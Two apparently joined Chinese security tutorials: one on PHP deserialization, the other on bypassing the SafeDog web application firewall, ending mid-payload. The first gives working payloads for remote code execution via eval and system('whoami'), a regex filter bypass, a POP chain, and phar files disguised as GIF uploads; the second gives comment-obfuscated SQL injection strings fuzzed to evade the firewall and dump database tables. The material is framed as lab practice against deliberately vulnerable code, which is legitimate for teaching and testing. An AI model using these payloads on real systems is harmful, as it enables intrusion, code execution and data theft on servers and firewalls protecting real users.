前言本文内容主要分为三个部分：原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章，特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析，并提供了一系列由简入深的PHP反序列化习题，配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程；而反序列化则是在需要的时候，将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成，为数据的存储和传输提供了极大的便利，同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo ' '; // 序列化：serialize将php的遍历变量（数组、对象等）转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo " "; // 因为我们需要使用url进行测试，所以将这个转化后的字符串进行url编码，便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化，将上面进行url编码的内容传到这个php，进行反序列化（将字符串还原成对象）<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为，将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数，即当你创建一个新对象时，这个方法会自动被调用，用于被初始化对象。 //构造函数可以接收参数，这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo ' 继承之后，继续调用的函数'; } } $myDog=new Dog(" hellow"); $myDog->getDog(); //hellow 小羽网安 继承之后，继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员，Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?> PHP在序列化含有private和protected权限的变量时，会在变量名前添加ASCII码为0的不可见字符，表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉，甚至导致数据截断。为了清晰查看，可将序列化后的字符串进行urlencode编码后打印输出。案例，直接将我们url编码的结果复制到解码工具，会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用，主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法，用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . " "; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印：Name: John, Age: 30 $person2->displayInfo(); // 打印：Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作，比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用，对象 {$this->name} 被创建。 "; } // 析构函数 public function __destruct() { echo "析构函数被调用，对象 {$this->name} 被销毁。 "; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时，$person 对象会被自动销毁，此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法，并返回该对象的一个字符串表示。这通常用于调试目的，或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时，__toString() 方法会被自动调用 echo $person; // 打印：Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时（例如，$obj()），__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}! "; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时，__invoke() 方法会被自动调用 $greeter(); // 打印：Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法：$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。（序列化：将一个对象转化为字符串。）class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串，其中不包含 $prop2 一.初步认识写入反序列化文件index.php，通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval：用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果，在我们的页面最下面我们将他反序列化-->index.php进行传参很好，能得到我们的结果，如果你疑问是不是index.php代码中包含了phpinfo()，所以他才能执行emmm，完全不需要顾虑，我们来验证这个结论，把这个自定义代码删掉嗯，很好，验证了我们的结论，这个反序列化漏洞，是可以进行任意代码执行的注意前面那个s，代表着你执行的代码字符串长度，大于或者小于这个长度，都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考：<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果，获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数，对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数：被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码，那么我们在test.php修改我们的payload为执行系统命令whoami，获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数，对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数：被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果，使用具有反序列化漏洞的index.php进行传参三、相关绕过任务：访问当前目录的1.txt文件构造环境创建一个1.txt文件，输入任意内容，通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分：上部分定义了一个baby类，包含一个file属性和一个__toString魔术方法，用于读取并返回文件内容。下部分接收GET请求中的data参数，进行过滤后反序列化，并打印结果。理解这两部分的关系，特别是类的序列化形式，对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务：读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码，E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接，调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中，通过我们的恶意篡改会产生魔法函数绕过，字符逃逸，远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中，随着代码安全性的提升，直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制，攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性，为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下，攻击者仍可以通过可控的文件系统函数，配合phar://伪协议，实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站，然后通过特定方式触发反序列化，即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式，用于将多个PHP代码文件及其他资源（如图像、样式表等）打包成一个文件，便于应用程序和库的分发。其独特之处在于，它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时，会自动触发meta-data的反序列化过程。phar文件分为四层Stub（存根）：Phar文件的文件头，必须以<?php xxx __HALT_COMPILER(); ?>结尾，其中xxx可以是自定义的任何字符，如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest（清单）：包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时，Manifest中的序列化字符串是攻击的主要目标。Contents（内容）：包含了实际的文件内容，比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储，以节省空间并便于分发。Signature（签名）（可选）：验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off（注意去掉前面的分号）php配置具体index.php代码，phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数，它可以构成反序列化攻击的杀伤链。因此，前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于：phar文件必须能上传到服务器；存在可用的魔术方法作为攻击的“跳板”；文件操作函数的参数可控，且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码（具有phar协议反序列化漏洞的代码）<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码，生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了，执行成功看不出效果？那么这样呢访问test.php，为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析：存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能，配合file_get_contents函数，执行phar.phar文件内序列化后的代码1、同理，构造phar.phar文件，将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议，执行了具有phar协议反序列化漏洞的php文件，并成功获取到了魔术方法中的内容扩展：练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面 page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制，但是！我们phar文件也可以使用gif后缀！文章中有提到，可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar，test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前，新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮！反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制，如Java中的ObjectOutputStream和ObjectInputStream时，可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中，使用数字签名或消息认证码（MAC）来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计，以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷，在本文已修复，并且本文也比较通俗易懂文章参考：https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
安全狗WAF绕过系列一、WAF概述WAF（Web应用防火墙）作为一种专为Web应用程序设计的安全防护工具，其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略，来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集，这些规则旨在对每一个进入系统的请求内容进行细致审查，并对任何违反安全策略的请求采取即时且有效的防御措施，从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建，涵盖四个关键环节：预处理、规则匹配、响应处理以及日志记录，共同编织成一张紧密的安全防护网。 预处理阶段：此阶段，WAF首先担任起“守门人”的角色，对所有进入的数据请求流量进行初步筛选，确认其是否遵循HTTP/HTTPS协议标准。紧接着，WAF会利用预设的白名单机制，快速识别并放行那些已知安全或信任的URL请求，直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求，WAF则进一步深入，对其数据包进行精细解析，为后续的安全检测做准备。 规则匹配阶段：此为核心环节，WAF利用其内置的强大规则引擎，对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式，包括但不限于SQL注入、跨站脚本（XSS）、命令注入等常见Web安全威胁。通过这一过程，WAF能够精准识别出潜在的恶意请求，为后续的安全响应奠定坚实基础。 响应处理阶段：基于规则匹配的结果，WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求，WAF会毫无阻碍地将其转发至后端Web服务器，确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求，WAF则展现出其防御实力，通过阻断请求、记录日志或触发告警等多种方式，有效遏制潜在的安全风险，保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF（Web应用防火墙）绕过姿势包括但不限于以下几种： 提交方式变换：许多WAF默认配置下主要对GET请求进行过滤，而忽略POST请求、Cookie、HTTP头等其他提交方式。因此，可以尝试将攻击载荷通过不同的提交方式进行发送，以绕过WAF的检测。 大小写替换和编码绕过：利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷，通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码，以绕过WAF的过滤规则。 事件函数变换：WAF会重点识别触发JavaScript代码执行的事件函数字段，如onclick。通过变换事件函数名称或利用其他不常见的事件函数，可以尝试绕过WAF的识别。 注释符和内联注释：使用SQL注释符（如--、#）或HTML/JavaScript注释（如 、//）来绕过WAF对特定关键字的过滤。有时，将攻击载荷与注释符结合使用，可以欺骗WAF使其忽略部分攻击载荷。 分片传输：通过调整HTTP请求中的Content-Length头部，将攻击载荷分成多个部分发送，可能导致WAF无法完整解析请求内容，从而绕过检测。 利用WAF软肋：WAF在部署时可能因性能考虑而留下一些软肋，如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为，可能发现并利用这些软肋进行绕过。 爬虫白名单绕过：部分WAF提供爬虫白名单功能，通过伪装成爬虫（修改User-Agent或模拟爬虫行为）可能绕过WAF的检测。 高并发流量攻击：通过发送大量垃圾数据或高并发请求，使WAF设备进入Bypass IPS模式或达到性能极限，从而暂时或永久性地绕过WAF的防护。 请注意，上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为，可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前，请确保已获得合法授权。四、安全狗绕过姿势环境：phpstudy—apache2.4.39安全狗官网v4.0下载（应该是最新版）：https://www.safedog.cn/website_safedog.html当然如果需要套件，我都给你准备好了关注后台回复【安全狗】即可获取，感谢宝子们一直以来的关注在开始之前，如果没有SQL注入基础的的童鞋，还请观看我的另外一篇文章，1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中，我们发现直接使用“and 1=1”这种方法似乎并不奏效，这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的，我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误，这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点，我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果，证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了！！在此输入：http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行，打开burp suite，拦截下我们阻截的包，添加$payload到我们测试的注释符中然后点击发送到intruder模块，选择如下：然后，点击pyload，选择暴力破解（Brute forcer）：attack，开始攻击，安全狗有流量攻击的防御，后面可能会被拦截，解决办法直接重启apache服务器。好了这里测试完成了，点击length更改默认排序，我们拿每个请求成功payload（检查response即可查看是否成功，如果用户名正常显示，说明该字符payload安全狗没有进行拦截）。我们随便娶一个/!*得到payload和注释符拼接/*/!**/，这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试，我们用之前的测试结果，利用/*/!**/这一个充当空格，测试order by 3，然后看看能否成功？http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美，接下来测试联合注入。普通测试union select：http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试，有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试，有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则，我决定采用与之前相同的方法，利用Burp进行抓包，并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload，取/!*!/，构造注释符+payload，为/*/!*!/*/，插入union和select之间，绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路，可以利用--+%0a这种格式通过换行继续执行，这里我们试一下看看：Tips：我的另一篇SQL注入文章有写过%0a的作用，后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错，此时就可以确定，安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧：继续采用burp的fuzz测试：添加上变量扫出来4个/可以用，最简单的和之前一样，就不强调了，取注释符+payload，构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了！接下来一个一个关键词测试，group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截，继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables，结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名，前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段，测试到and，table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接，如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" 